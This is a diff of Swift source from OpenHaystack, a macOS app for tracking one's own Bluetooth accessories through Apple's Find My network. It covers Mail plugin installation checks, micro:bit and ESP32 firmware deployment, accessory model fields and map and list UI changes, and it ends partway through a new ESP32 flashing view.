@@ -62,7 +65,7 @@ struct KeychainController {
             var query: [CFString: Any] = [
                 kSecClass: kSecClassGenericPassword,
                 kSecAttrLabel: "FindMyAccessories",
-                kSecAttrService: "SEEMOO-FINDMY"
+                kSecAttrService: "SEEMOO-FINDMY",
             ]
 
             if test {

OpenHaystack/OpenHaystack/HaystackApp/Mail Plugin/MailPluginManager.swift

@@ -1,28 +1,58 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
+import AppKit
 import Foundation
 import OSLog
-import AppKit
 
 let mailBundleName = "OpenHaystackMail"
 
-/// Manages plugin installation
+/// Manages plugin installation.
 struct MailPluginManager {
 
     let pluginsFolderURL = FileManager.default.homeDirectoryForCurrentUser.appendingPathComponent("Library/Mail/Bundles")
 
     let pluginURL = FileManager.default.homeDirectoryForCurrentUser.appendingPathComponent("Library/Mail/Bundles").appendingPathComponent(mailBundleName + ".mailbundle")
 
+    let localPluginURL = Bundle.main.url(forResource: mailBundleName, withExtension: "mailbundle")!
+
     var isMailPluginInstalled: Bool {
-        return FileManager.default.fileExists(atPath: pluginURL.path)
+        //Check if the plug-in is compatible by comparing the IDs
+        guard FileManager.default.fileExists(atPath: pluginURL.path) else {
+            return false
+        }
+
+        let infoPlistURL = pluginURL.appendingPathComponent("Contents/Info.plist")
+        let localInfoPlistURL = localPluginURL.appendingPathComponent("Contents/Info.plist")
+
+        guard let infoPlistData = try? Data(contentsOf: infoPlistURL),
+            let infoPlistDict = try? PropertyListSerialization.propertyList(from: infoPlistData, options: [], format: nil) as? [String: AnyHashable],
+            let localInfoPlistData = try? Data(contentsOf: localInfoPlistURL),
+            let localInfoPlistDict = try? PropertyListSerialization.propertyList(from: localInfoPlistData, options: [], format: nil) as? [String: AnyHashable]
+        else { return false }
+
+        //Compare the supported plug-ins
+        let uuidEntries = localInfoPlistDict.keys.filter({ $0.contains("PluginCompatibilityUUIDs") })
+        for uuidEntry in uuidEntries {
+            guard let localEntry = localInfoPlistDict[uuidEntry] as? [String],
+                let installedEntry = infoPlistDict[uuidEntry] as? [String]
+            else { return false }
+
+            if localEntry != installedEntry {
+                return false
+            }
+        }
+
+        return true
     }
 
-    /// Shows a NSSavePanel to install the mail plugin at the required place
+    /// Shows a NSSavePanel to install the mail plugin at the required place.
     func askForPermission() -> Bool {
 
         let panel = NSSavePanel()
@@ -56,14 +86,17 @@ struct MailPluginManager {
             throw PluginError.permissionNotGranted
         }
 
-        let localPluginURL = Bundle.main.url(forResource: mailBundleName, withExtension: "mailbundle")!
-
         do {
+            //Remove old plug-ins first
+            if FileManager.default.fileExists(atPath: pluginURL.path) {
+                try FileManager.default.removeItem(at: pluginURL)
+            }
+
             try FileManager.default.createDirectory(at: pluginsFolderURL, withIntermediateDirectories: true, attributes: nil)
         } catch {
             print(error.localizedDescription)
         }
-        try self.copyFolder(from: localPluginURL, to: pluginURL)
+        try FileManager.default.copyFolder(from: localPluginURL, to: pluginURL)
 
         self.openAppleMail()
     }
@@ -73,46 +106,23 @@ struct MailPluginManager {
 
     }
 
-    /// Copy a folder recursively
-    /// - Parameters:
-    ///   - from: Folder source
-    ///   - to: Folder destination
-    /// - Throws: An error if copying or acessing files fails 
-    func copyFolder(from: URL, to: URL) throws {
-        // Create the folder
-        try? FileManager.default.createDirectory(at: to, withIntermediateDirectories: false, attributes: nil)
-
-        let files = try FileManager.default.contentsOfDirectory(atPath: from.path)
-        for file in files {
-            // Check if file is a folder
-            var isDir: ObjCBool = .init(booleanLiteral: false)
-            let fileURL = from.appendingPathComponent(file)
-            FileManager.default.fileExists(atPath: fileURL.path, isDirectory: &isDir)
-
-            if isDir.boolValue == true {
-                try self.copyFolder(from: fileURL, to: to.appendingPathComponent(file))
-            } else {
-                // Copy file
-                try FileManager.default.copyItem(at: fileURL, to: to.appendingPathComponent(file))
-            }
-        }
-    }
-
     func uninstallMailPlugin() throws {
         try FileManager.default.removeItem(at: pluginURL)
     }
 
-    /// Copy plugin to downloads folder
+    /// Copy plugin to downloads folder.
+    ///
     /// - Throws: An error if the copy fails, because of missing permissions
-     func pluginDownload() throws {
+    func pluginDownload() throws {
         guard let localPluginURL = Bundle.main.url(forResource: mailBundleName, withExtension: "mailbundle"),
-              let downloadsFolder = FileManager.default.urls(for: .downloadsDirectory, in: .userDomainMask).first else {
+            let downloadsFolder = FileManager.default.urls(for: .downloadsDirectory, in: .userDomainMask).first
+        else {
             throw PluginError.downloadFailed
         }
 
         let downloadsPluginURL = downloadsFolder.appendingPathComponent(mailBundleName + ".mailbundle")
 
-        try self.copyFolder(from: localPluginURL, to: downloadsPluginURL)
+        try FileManager.default.copyFolder(from: localPluginURL, to: downloadsPluginURL)
     }
 
 }

OpenHaystack/OpenHaystack/HaystackApp/MicrobitController.swift

@@ -1,27 +1,31 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 import Foundation
 
 struct MicrobitController {
 
-    /// Find all microbits connected to this mac
+    /// Find all microbits connected to this Mac.
+    ///
     /// - Throws: If a volume is inaccessible
     /// - Returns: an array of urls
     static func findMicrobits() throws -> [URL] {
         let fm = FileManager.default
         let volumes = try fm.contentsOfDirectory(atPath: "/Volumes")
 
-        let microbits: [URL] = volumes.filter({$0.lowercased().contains("microbit")}).map({URL(fileURLWithPath: "/Volumes").appendingPathComponent($0)})
+        let microbits: [URL] = volumes.filter({ $0.lowercased().contains("microbit") }).map({ URL(fileURLWithPath: "/Volumes").appendingPathComponent($0) })
 
         return microbits
     }
 
-    /// Deploy the firmware to a USB connected microbit at the given URL
+    /// Deploy the firmware to a USB connected microbit at the given URL.
+    ///
     /// - Parameters:
     ///   - microbitURL: URL to the microbit
     ///   - firmwareFile: Firmware file as binary data
@@ -32,6 +36,7 @@ struct MicrobitController {
     }
 
     /// Patch the given firmware.
+    ///
     /// This will replace the pattern data (the place for the key) with the actual key
     /// - Parameters:
     ///   - firmware: The firmware data that should be patched
@@ -69,6 +74,32 @@ struct MicrobitController {
         return patchedFirmware
     }
 
+    static func patchFirmware(for accessory: Accessory) throws -> Data {
+        guard let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
+        else {
+            throw FirmwareFlashError.notFound
+        }
+
+        let firmware = try Data(contentsOf: firmwareURL)
+        let pattern = "OFFLINEFINDINGPUBLICKEYHERE!".data(using: .ascii)!
+        let publicKey = try accessory.getAdvertisementKey()
+        let patchedFirmware = try MicrobitController.patchFirmware(firmware, pattern: pattern, with: publicKey)
+
+        return patchedFirmware
+    }
+
+    static func deploy(accessory: Accessory) throws {
+        let microbits = try MicrobitController.findMicrobits()
+        guard let microBitURL = microbits.first
+        else {
+            throw FirmwareFlashError.notFound
+        }
+
+        let patchedFirmware = try self.patchFirmware(for: accessory)
+
+        try MicrobitController.deployToMicrobit(microBitURL, firmwareFile: patchedFirmware)
+    }
+
 }
 
 enum PatchingError: Error {

OpenHaystack/OpenHaystack/HaystackApp/Model/Accessory.swift

@@ -1,27 +1,62 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import Foundation
+import CoreLocation
 import CryptoKit
+import Foundation
 import Security
 import SwiftUI
-import CoreLocation
 
-class Accessory: ObservableObject, Codable, Identifiable, Equatable {
-    let name: String
+class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
+
+    static let icons = [
+        "creditcard.fill", "briefcase.fill", "case.fill", "latch.2.case.fill",
+        "key.fill", "mappin", "globe", "crown.fill",
+        "gift.fill", "car.fill", "bicycle", "figure.walk",
+        "heart.fill", "hare.fill", "tortoise.fill", "eye.fill",
+    ]
+    static func randomIcon() -> String {
+        return icons.randomElement() ?? ""
+    }
+    static func randomColor() -> Color {
+        return Color(hue: Double.random(in: 0..<1), saturation: 0.75, brightness: 1)
+    }
+
+    @Published var name: String
     let id: Int
     let privateKey: Data
-    let color: Color
-    let icon: String
-
+    @Published var locations: [FindMyLocationReport]?
+    @Published var color: Color
+    @Published var icon: String
     @Published var lastLocation: CLLocation?
     @Published var locationTimestamp: Date?
+    @Published var isDeployed: Bool {
+        didSet(wasDeployed) {
+            // Reset active status if deployed
+            if !wasDeployed && isDeployed {
+                self.isActive = false
+            }
+        }
+    }
+    /// Whether the accessory is correctly advertising.
+    @Published var isActive: Bool = false
+    /// Whether this accessory is currently nearby.
+    @Published var isNearby: Bool = false {
+        didSet {
+            if isNearby {
+                self.isActive = true
+            }
+        }
+    }
+    var lastAdvertisement: Date?
 
-    init(name: String, color: Color = Color.white, iconName: String = "briefcase.fill") throws {
+    init(name: String = "New accessory", color: Color = randomColor(), iconName: String = randomIcon()) throws {
         self.name = name
         guard let key = BoringSSL.generateNewPrivateKey() else {
             throw KeyError.keyGenerationFailed
@@ -30,6 +65,7 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
         self.privateKey = key
         self.color = color
         self.icon = iconName
+        self.isDeployed = false
     }
 
     required init(from decoder: Decoder) throws {
@@ -37,11 +73,14 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
         self.name = try container.decode(String.self, forKey: .name)
         self.id = try container.decode(Int.self, forKey: .id)
         self.privateKey = try container.decode(Data.self, forKey: .privateKey)
-        self.icon = (try? container.decode(String.self, forKey: .icon)) ?? "briefcase.fill"
+        self.icon = (try? container.decode(String.self, forKey: .icon)) ?? ""
+        self.isDeployed = (try? container.decode(Bool.self, forKey: .isDeployed)) ?? false
+        self.isActive = (try? container.decode(Bool.self, forKey: .isActive)) ?? false
 
-        if  var colorComponents = try? container.decode([CGFloat].self, forKey: .colorComponents),
+        if var colorComponents = try? container.decode([CGFloat].self, forKey: .colorComponents),
             let spaceName = try? container.decode(String.self, forKey: .colorSpaceName),
-            let cgColor = CGColor(colorSpace: CGColorSpace(name: spaceName as CFString)!, components: &colorComponents) {
+            let cgColor = CGColor(colorSpace: CGColorSpace(name: spaceName as CFString)!, components: &colorComponents)
+        {
             self.color = Color(cgColor)
         } else {
             self.color = Color.white
@@ -55,9 +94,12 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
         try container.encode(self.id, forKey: .id)
         try container.encode(self.privateKey, forKey: .privateKey)
         try container.encode(self.icon, forKey: .icon)
+        try container.encode(self.isDeployed, forKey: .isDeployed)
+        try container.encode(self.isActive, forKey: .isActive)
 
         if let colorComponents = self.color.cgColor?.components,
-           let colorSpace = self.color.cgColor?.colorSpace?.name {
+            let colorSpace = self.color.cgColor?.colorSpace?.name
+        {
             try container.encode(colorComponents, forKey: .colorComponents)
             try container.encode(colorSpace as String, forKey: .colorSpaceName)
         }
@@ -79,7 +121,7 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
         // Drop the first byte to just have the 28 bytes version
         publicKey = publicKey.dropFirst()
         assert(publicKey.count == 28)
-        guard publicKey.count == 28 else {throw KeyError.keyDerivationFailed}
+        guard publicKey.count == 28 else { throw KeyError.keyDerivationFailed }
 
         return publicKey
     }
@@ -92,6 +134,10 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
         try self.hashedPublicKey().base64EncodedString()
     }
 
+    func hash(into hasher: inout Hasher) {
+        hasher.combine(self.id)
+    }
+
     private func hashedPublicKey() throws -> Data {
         let publicKey = try self.getAdvertisementKey()
         var sha = SHA256()
@@ -103,20 +149,22 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
 
     func toFindMyDevice() throws -> FindMyDevice {
 
-        let findMyKey = FindMyKey(advertisedKey: try self.getAdvertisementKey(),
-                                  hashedKey: try self.hashedPublicKey(),
-                                  privateKey: self.privateKey,
-                                  startTime: nil,
-                                  duration: nil,
-                                  pu: nil,
-                                  yCoordinate: nil,
-                                  fullKey: nil)
+        let findMyKey = FindMyKey(
+            advertisedKey: try self.getAdvertisementKey(),
+            hashedKey: try self.hashedPublicKey(),
+            privateKey: self.privateKey,
+            startTime: nil,
+            duration: nil,
+            pu: nil,
+            yCoordinate: nil,
+            fullKey: nil)
 
-        return FindMyDevice(deviceId: String(self.id),
-                            keys: [findMyKey],
-                            catalinaBigSurKeyFiles: nil,
-                            reports: nil,
-                            decryptedReports: nil)
+        return FindMyDevice(
+            deviceId: String(self.id),
+            keys: [findMyKey],
+            catalinaBigSurKeyFiles: nil,
+            reports: nil,
+            decryptedReports: nil)
     }
 
     enum CodingKeys: String, CodingKey {
@@ -126,10 +174,12 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
         case colorComponents
         case colorSpaceName
         case icon
+        case isDeployed
+        case isActive
     }
 
     static func == (lhs: Accessory, rhs: Accessory) -> Bool {
-        return lhs.id == rhs.id && lhs.name == rhs.name && lhs.privateKey == rhs.privateKey && lhs.icon == rhs.icon
+        return lhs.id == rhs.id && lhs.name == rhs.name && lhs.privateKey == rhs.privateKey && lhs.icon == rhs.icon && lhs.isDeployed == rhs.isDeployed
     }
 }
 

OpenHaystack/OpenHaystack/HaystackApp/Model/PreviewData.swift

@@ -1,9 +1,11 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 import Foundation
 import SwiftUI
@@ -14,26 +16,47 @@ struct PreviewData {
         return accessoryList()
     }()
 
+    static let latitude: Double = 49.878046
+    static let longitude: Double = 8.656993
+
+    static func randomLocation(lat: Double = latitude, lng: Double = longitude, distance: Double = 0.005) -> CLLocation {
+        return CLLocation(
+            latitude: lat + Double.random(in: 0..<distance) * (Bool.random() ? -1 : 1),
+            longitude: lng + Double.random(in: 0..<distance) * (Bool.random() ? -1 : 1)
+        )
+    }
+
+    static func randomTimestamp() -> Date {
+        return Date.init().addingTimeInterval(TimeInterval(-Double.random(in: 0..<24 * 60 * 60)))
+    }
+
+    static func previewAccessory(name: String, color: Color, icon: String) -> Accessory {
+        let accessory = try! Accessory(name: name, color: color, iconName: icon)
+        accessory.lastLocation = randomLocation()
+        accessory.locationTimestamp = randomTimestamp()
+        accessory.isDeployed = true
+        accessory.isActive = true
+        accessory.isNearby = Bool.random()
+        //Generate recent locations
+        let startDate = Date().addingTimeInterval(-60 * 60 * 24)
+        var date = startDate
+        var locations: [FindMyLocationReport] = []
+        while date < Date() {
+            let location = randomLocation(lat: accessory.lastLocation!.coordinate.latitude, lng: accessory.lastLocation!.coordinate.longitude, distance: 0.0005)
+            locations.append(FindMyLocationReport(lat: location.coordinate.latitude, lng: location.coordinate.longitude, acc: 10, dP: date, t: date, c: 0))
+            date += 30 * 60
+        }
+        accessory.locations = locations
+        return accessory
+    }
+
     static func accessoryList() -> [Accessory] {
-
-        let latitude: Double = 52.5219814
-        let longitude: Double = 13.413306
-
-        let backpack = try! Accessory(name: "Backpack", color: Color.green, iconName: "briefcase.fill")
-        backpack.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000))/100000, longitude: longitude + (Double(arc4random() % 1000))/100000)
-
-        let bag = try! Accessory(name: "Bag", color: Color.blue, iconName: "latch.2.case.fill")
-        bag.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000))/100000, longitude: longitude + (Double(arc4random() % 1000))/100000)
-
-        let car = try! Accessory(name: "Car", color: Color.red, iconName: "car.fill")
-        car.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000))/100000, longitude: longitude + (Double(arc4random() % 1000))/100000)
-
-        let keys = try! Accessory(name: "Keys", color: Color.orange, iconName: "key.fill")
-        keys.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000))/100000, longitude: longitude + (Double(arc4random() % 1000))/100000)
-
-        let items = try! Accessory(name: "Items", color: Color.gray, iconName: "mappin")
-        items.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000))/100000, longitude: longitude + (Double(arc4random() % 1000))/100000)
-
-        return [backpack, bag, car, keys, items]
+        return [
+            previewAccessory(name: "Backpack", color: Color.green, icon: "briefcase.fill"),
+            previewAccessory(name: "Bag", color: Color.blue, icon: "latch.2.case.fill"),
+            previewAccessory(name: "Car", color: Color.red, icon: "car.fill"),
+            previewAccessory(name: "Keys", color: Color.orange, icon: "key.fill"),
+            previewAccessory(name: "Items", color: Color.gray, icon: "mappin"),
+        ]
     }
 }

OpenHaystack/OpenHaystack/HaystackApp/Views/AccessoryListEntry.swift

@@ -1,71 +1,85 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import SwiftUI
 import OSLog
+import SwiftUI
 
 struct AccessoryListEntry: View {
     var accessory: Accessory
+    @Binding var accessoryIcon: String
+    @Binding var accessoryColor: Color
+    @Binding var accessoryName: String
     @Binding var alertType: OpenHaystackMainView.AlertType?
     var delete: (Accessory) -> Void
     var deployAccessoryToMicrobit: (Accessory) -> Void
     var zoomOn: (Accessory) -> Void
+    let formatter = DateFormatter()
+
+    @State var editingName: Bool = false
+
+    func timestampView() -> some View {
+        formatter.dateStyle = .short
+        formatter.timeStyle = .short
+        return Group {
+            if let timestamp = accessory.locationTimestamp {
+                Text(formatter.string(from: timestamp))
+            } else {
+                Text("No location found")
+            }
+        }
+        .font(.footnote)
+    }
 
     var body: some View {
-        VStack {
-            HStack {
-                Button(action: {
-                    self.zoomOn(self.accessory)
-                }, label: {
-                    HStack {
-                        Text(accessory.name)
-                        Spacer()
-                    }
-                    .contentShape(Rectangle())
-                })
-                .buttonStyle(PlainButtonStyle())
 
-                HStack(alignment: .center) {
-
-                    Button(action: {self.zoomOn(self.accessory)}, label: {
-                        Circle()
-                            .strokeBorder(accessory.color, lineWidth: 2.0)
-                            .background(
-                                ZStack {
-                                    Circle().fill(Color("PinColor"))
-                                    Image(systemName: accessory.icon)
-                                        .padding(3)
-                                }
-                                )
-
-                            .frame(width: 30, height: 30)
-                    })
-                    .buttonStyle(PlainButtonStyle())
-
-                    Button(action: {
-                        self.deployAccessoryToMicrobit(accessory)
-                    }, label: {
-                        Text("Deploy")
-                    })
+        HStack {
+            IconSelectionView(selectedImageName: $accessoryIcon, selectedColor: $accessoryColor)
 
+            VStack(alignment: .leading) {
+                if self.editingName {
+                    TextField("Enter accessory name", text: $accessoryName, onCommit: { self.editingName = false })
+                        .font(.headline)
+                        .textFieldStyle(RoundedBorderTextFieldStyle())
+                } else {
+                    Text(accessory.name)
+                        .font(.headline)
                 }
-                .padding(.trailing)
+                self.timestampView()
             }
 
-            Divider()
+            Spacer()
+            if !accessory.isDeployed {
+                Button(
+                    action: { self.deployAccessoryToMicrobit(accessory) },
+                    label: { Text("Deploy") }
+                )
+            }
+            Circle()
+                .fill(accessory.isNearby ? Color.green : accessory.isActive ? Color.orange : Color.red)
+                .frame(width: 8, height: 8)
         }
-        .contentShape(Rectangle())
+        .listRowBackground(Color.clear)
+        .padding(EdgeInsets(top: 5, leading: 0, bottom: 5, trailing: 0))
         .contextMenu {
-            Button("Delete", action: {self.delete(accessory)})
+            Button("Delete", action: { self.delete(accessory) })
             Divider()
-            Button("Copy advertisment key (Base64)", action: {self.copyPublicKey(of: accessory)})
-            Button("Copy key id (Base64)", action: {self.copyPublicKeyHash(of: accessory)})
+            Button("Rename", action: { self.editingName = true })
+            Divider()
+            Button("Copy key ID (Base64)", action: { self.copyPublicKeyHash(of: accessory) })
+            Menu("Copy advertisement key") {
+                Button("Base64", action: { self.copyAdvertisementKeyB64(of: accessory) })
+                Button("Byte array", action: { self.copyAdvertisementKey(escapedString: false) })
+                Button("Escaped string", action: { self.copyAdvertisementKey(escapedString: true) })
+            }
+            Divider()
+            Button("Mark as \(accessory.isDeployed ? "deployable" : "deployed")", action: { accessory.isDeployed.toggle() })
         }
-
     }
 
     func copyPublicKey(of accessory: Accessory) {
@@ -80,6 +94,18 @@ struct AccessoryListEntry: View {
         }
     }
 
+    func copyAdvertisementKeyB64(of accessory: Accessory) {
+        do {
+            let publicKey = try accessory.getAdvertisementKey()
+            let pasteboard = NSPasteboard.general
+            pasteboard.prepareForNewContents(with: .currentHostOnly)
+            pasteboard.setString(publicKey.base64EncodedString(), forType: .string)
+        } catch {
+            os_log("Failed extracing public key %@", String(describing: error))
+            assert(false)
+        }
+    }
+
     func copyPublicKeyHash(of accessory: Accessory) {
         do {
             let keyID = try accessory.getKeyId()
@@ -91,10 +117,55 @@ struct AccessoryListEntry: View {
             assert(false)
         }
     }
-}
 
-// struct AccessoryListEntry_Previews: PreviewProvider {
-//    static var previews: some View {
-//        AccessoryListEntry()
-//    }
-// }
+    func copyAdvertisementKey(escapedString: Bool) {
+        do {
+            let publicKey = try self.accessory.getAdvertisementKey()
+            let keyByteArray = [UInt8](publicKey)
+
+            if escapedString {
+                let string = keyByteArray.map { "\\x\(String($0, radix: 16))" }.joined()
+                let pasteboard = NSPasteboard.general
+                pasteboard.prepareForNewContents(with: .currentHostOnly)
+                pasteboard.setString(string, forType: .string)
+            } else {
+                let string = keyByteArray.map { "0x\(String($0, radix: 16))" }.joined(separator: ", ")
+                let pasteboard = NSPasteboard.general
+                pasteboard.prepareForNewContents(with: .currentHostOnly)
+                pasteboard.setString(string, forType: .string)
+            }
+        } catch {
+            os_log("Failed extracing public key %@", String(describing: error))
+            assert(false)
+        }
+    }
+
+    struct AccessoryListEntry_Previews: PreviewProvider {
+        @StateObject static var accessory = PreviewData.accessories.first!
+        @State static var alertType: OpenHaystackMainView.AlertType?
+
+        static var previews: some View {
+            Group {
+                AccessoryListEntry(
+                    accessory: accessory,
+                    accessoryIcon: Binding(
+                        get: { accessory.icon },
+                        set: { accessory.icon = $0 }
+                    ),
+                    accessoryColor: Binding(
+                        get: { accessory.color },
+                        set: { accessory.color = $0 }
+                    ),
+                    accessoryName: Binding(
+                        get: { accessory.name },
+                        set: { accessory.name = $0 }
+                    ),
+                    alertType: self.$alertType,
+                    delete: { _ in () },
+                    deployAccessoryToMicrobit: { _ in () },
+                    zoomOn: { _ in () })
+            }
+            .frame(width: 300)
+        }
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Views/AccessoryMapAnnotation.swift

@@ -1,9 +1,11 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 import Foundation
 import MapKit
@@ -41,9 +43,10 @@ class AccessoryAnnotationView: MKAnnotationView {
     }
 
     func updateView() {
-        guard let accessory = (self.annotation as? AccessoryAnnotation)?.accessory else {return}
+        guard let accessory = (self.annotation as? AccessoryAnnotation)?.accessory else { return }
         self.pinView?.removeFromSuperview()
-        self.pinView = NSHostingView(rootView: AccessoryPinView(accessory: accessory))
+        self.pinView = nil
+        self.pinView = NSHostingView(rootView: AccessoryPinView(accessory: accessory))  // TODO: LEAK! This view is not release properly
 
         self.addSubview(pinView!)
 
@@ -71,40 +74,6 @@ class AccessoryAnnotationView: MKAnnotationView {
         self.canShowCallout = true
     }
 
-//    override func draw(_ dirtyRect: NSRect) {
-//        guard let accessoryAnnotation = self.annotation as? AccessoryAnnotation else {
-//            super.draw(dirtyRect)
-//            return
-//        }
-//
-//        let path = NSBezierPath(ovalIn: dirtyRect)
-//        path.lineWidth = 2.0
-//
-//        guard let cgColor = accessoryAnnotation.accessory.color.cgColor,
-//              let strokeColor = NSColor(cgColor: cgColor)?.withAlphaComponent(0.8) else {return}
-//
-//        NSColor(named: NSColor.Name("PinColor"))?.setFill()
-//
-//        path.fill()
-//
-//        strokeColor.setStroke()
-//        path.stroke()
-//
-//        let accessory = accessoryAnnotation.accessory
-//
-//        guard let image = NSImage(systemSymbolName: accessory.icon, accessibilityDescription: accessory.name) else {return}
-//
-//        let ratio = image.size.width / image.size.height
-//        let imageWidth: CGFloat = 20
-//        let imageHeight = imageWidth / ratio
-//        let imageRect = NSRect(
-//            x: dirtyRect.width/2 - imageWidth/2,
-//            y: dirtyRect.height/2 - imageHeight/2,
-//            width: imageWidth, height: imageHeight)
-//
-//        image.draw(in: imageRect)
-//    }
-
     struct AccessoryPinView: View {
         var accessory: Accessory
 
@@ -135,3 +104,11 @@ class AccessoryAnnotation: NSObject, MKAnnotation {
         self.accessory = accessory
     }
 }
+
+class AccessoryHistoryAnnotation: NSObject, MKAnnotation {
+    var coordinate: CLLocationCoordinate2D
+
+    init(coordinate: CLLocationCoordinate2D) {
+        self.coordinate = coordinate
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Views/AccessoryMapView.swift

@@ -1,19 +1,23 @@
 //
-//  AccessoryMapView.swift
-//  OpenHaystack
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
-//  Created by Alex - SEEMOO on 02.03.21.
-//  Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
 //
 
 import Foundation
-import SwiftUI
 import MapKit
+import SwiftUI
 
 struct AccessoryMapView: NSViewControllerRepresentable {
     @ObservedObject var accessoryController: AccessoryController
     @Binding var mapType: MKMapType
-    var focusedAccessory: Accessory?
+    @Binding var focusedAccessory: Accessory?
+    @Binding var showHistory: Bool
+    @Binding var showPastHistory: TimeInterval
+    var delayer = UpdateDelayer()
 
     func makeNSViewController(context: Context) -> MapViewController {
         return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
@@ -22,10 +26,30 @@ struct AccessoryMapView: NSViewControllerRepresentable {
     func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
         let accessories = self.accessoryController.accessories
 
-        nsViewController.zoom(on: focusedAccessory)
-        nsViewController.addLastLocations(from: accessories)
-
+        nsViewController.focusedAccessory = focusedAccessory
+        if showHistory {
+            delayer.delayUpdate {
+                nsViewController.addAllLocations(from: focusedAccessory!, past: showPastHistory)
+                nsViewController.zoomInOnAll()
+            }
+        } else {
+            nsViewController.addLastLocations(from: accessories)
+            nsViewController.zoomInOnSelection()
+        }
         nsViewController.changeMapType(mapType)
-
+    }
+}
+
+class UpdateDelayer {
+    /// Some view updates need to be delayed to mitigate UI glitches.
+    var delayedWorkItem: DispatchWorkItem?
+
+    func delayUpdate(delay: Double = 0.3, closure: @escaping () -> Void) {
+        self.delayedWorkItem?.cancel()
+        let workItem = DispatchWorkItem {
+            closure()
+        }
+        DispatchQueue.main.asyncAfter(deadline: .now() + delay, execute: workItem)
+        self.delayedWorkItem = workItem
     }
 }

OpenHaystack/OpenHaystack/HaystackApp/Views/ActivityIndicator.swift

@@ -1,13 +1,15 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
+import AppKit
 import Foundation
 import SwiftUI
-import AppKit
 
 final class ActivityIndicator: NSViewRepresentable {
 

OpenHaystack/OpenHaystack/HaystackApp/Views/ESP32InstallSheet.swift

@@ -0,0 +1,144 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import OSLog
+import SwiftUI
+
+struct ESP32InstallSheet: View {
+    @Binding var accessory: Accessory?
+    @Binding var alertType: OpenHaystackMainView.AlertType?
+    @State var detectedPorts: [URL] = []
+
+    @State var isFlashing = false
+    @Environment(\.presentationMode) var presentationMode
+
+    var body: some View {
+        VStack {
+            self.portSelectionView
+                .padding()
+                .overlay(self.loadingOverlay)
+                .frame(minWidth: 640, minHeight: 480, alignment: .center)
+        }
+        .onAppear {
+            self.detectedPorts = ESP32Controller.findPort()
+        }
+    }
+
+    var portSelectionView: some View {
+        VStack {
+            Text("Flash your ESP32")
+                .font(.title2)
+
+            Text("Select the serial port that belongs to your ESP32 module")
+                .foregroundColor(.gray)
+
+            self.portList
+
+            Spacer()
+
+            HStack {
+                Spacer()
+
+                Button(
+                    "Reload ports",
+                    action: {
+                        self.detectedPorts = ESP32Controller.findPort()
+                    })
+
+                Button(
+                    "Cancel",
+                    action: {
+                        self.presentationMode.wrappedValue.dismiss()
+                    })
+            }
+        }
+    }
+
+    var portList: some View {
+        ScrollView {
+            VStack(spacing: 4) {
+                ForEach(0..<self.detectedPorts.count, id: \.self) { portIdx in
+                    Button(
+                        action: {
+                            if let accessory = self.accessory {
+                                // Flash selected module
+                                self.deployAccessoryToESP32(accessory: accessory, to: self.detectedPorts[portIdx])
+                            }
+                        },
+                        label: {
+                            HStack {
+                                Text(self.detectedPorts[portIdx].path)
+                                    .padding(4)
+                                Spacer()
+                            }
+                            .contentShape(Rectangle())
+
+                        }
+                    )
+                    .buttonStyle(PlainButtonStyle())
+                }
+            }
+        }
+    }
+
